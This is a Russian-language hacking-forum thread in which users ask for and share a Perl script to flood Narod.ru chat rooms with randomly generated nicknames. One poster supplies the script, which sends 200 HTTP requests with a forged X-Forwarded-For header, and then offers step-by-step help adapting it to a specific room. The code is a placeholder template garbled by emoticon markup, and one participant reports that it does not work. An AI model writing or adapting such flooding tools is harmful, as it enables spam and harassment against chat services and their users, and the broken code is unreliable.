Флуд никами в чатах народ.ру

Уже долгое время ищу скрипт для флуда никами в чатах на народ.ру. Попадались исходники скрипта но я не смог подстроить их под "народные" чаты, помогите пожалуйста со скриптом, я думаю для человека который в этом разбирается написать такой скрипт не составит труда, или может у когото уже есть готовый?

Буду очень благодарен за помощь.

Мое мыло kain.4a@mail.ru

[KaiN.4a]

Попасть на список чатов можно например вот по этой ссылке

http://narod.yandex.ru/chat....d=49004 (http://narod.yandex.ru/chat/chat_enter.xhtml?mychat_id=-49004?com_id=49004)

[Fr1k]

Лови скрипт моего производства...
писал быстро если чё не работает пиши...
чё не понятно пиши...



#!/usr/bin/perl
print "Contept-Type: text/html\n\n";
use Socket;
$host="ХОСТ ЧАТА НА НАРОД РУ";
$port="80";
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'http://forum.antichat.ru/iB_html/non-cgi/emoticons/wink.gif);
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
connect(SOCK, $paddr);
@mass = (НИКГЕНЕРИРуЕМЫЙ', 'IP:'http://forum.antichat.ru/iB_html/non-cgi/emoticons/wink.gif;
$nickrand = @mass[0];
for($a=0;$a<200;$a++)
{  
 $iprand = int(rand(255));
 $iprand1 = int(rand(255));
 $iprand2 = int(rand(255));
 $iprand3 = int(rand(255));  
 $randnick = int(rand(100));
 $nick = "@mass[0]$randnick";
 send(SOCK, "GET полный путь к чату со входом ника, только ник не пиши заметсо ника поставь - $nick HTTP/1.1\nREFERER: http://путь до начала главного скрипта чата\nX_FORWARDED_FOR: IP\nHost: http://хост чата\n\n", 0);
}
print "Wait: send packets...\n";
print "$a\n";
print <SOCK>;
close(SOCK);
print "Reserved:$a:$i\n";
print "CLOSED... press key";
   
<>;

[Че Гевара]

Отредактируй сообщение.

Либо окружи код [co de] [/co de]

Либо убери галочку с опции "Я хочу использовать смайлики в этом сообщении" ...

[Fr1k]

ok

[don Kain]

Объестните пожалуйста как использовать данный скрипт, куда его подставлять? Буду очень благодарен за ответ.

[Fr1k]

береёшь сохраняешь скрипт у себя в файле с расширением .pl прописываешь где я обозначил пути к чату и вход ника! Ставищьь интерпретатор перловый ActivePerl скачать его можна с perl.com

если чё непонял дай ссылку конкретно твоего чата я пути сделаю...

[KaiN.4a]

frika, я тоже не понял, с этим народ.ру сплошные заморочки, там нужен специальный скрипт.
Это не работает...

[KaiN.4a]

"полный путь к чату со входом ника, только ник не пиши заметсо ника поставь  - $nick"

Дело в том что вместо ника ставится ID

[Fr1k]

скажи конкретно комнату на народе... я сам посмотрю... ну а заместо ника значит будим генерировать айди... не проблема

[KaiN.4a]

http://narod.yandex.ru/chat....d=49004 (http://narod.yandex.ru/chat/chat_enter.xhtml?mychat_id=-49004?com_id=49004)


одна из комнат

[KaiN.4a]

Ну что? Не получилось?

[Fr1k]

не пробовал!!! нет время! щаз попытаюсь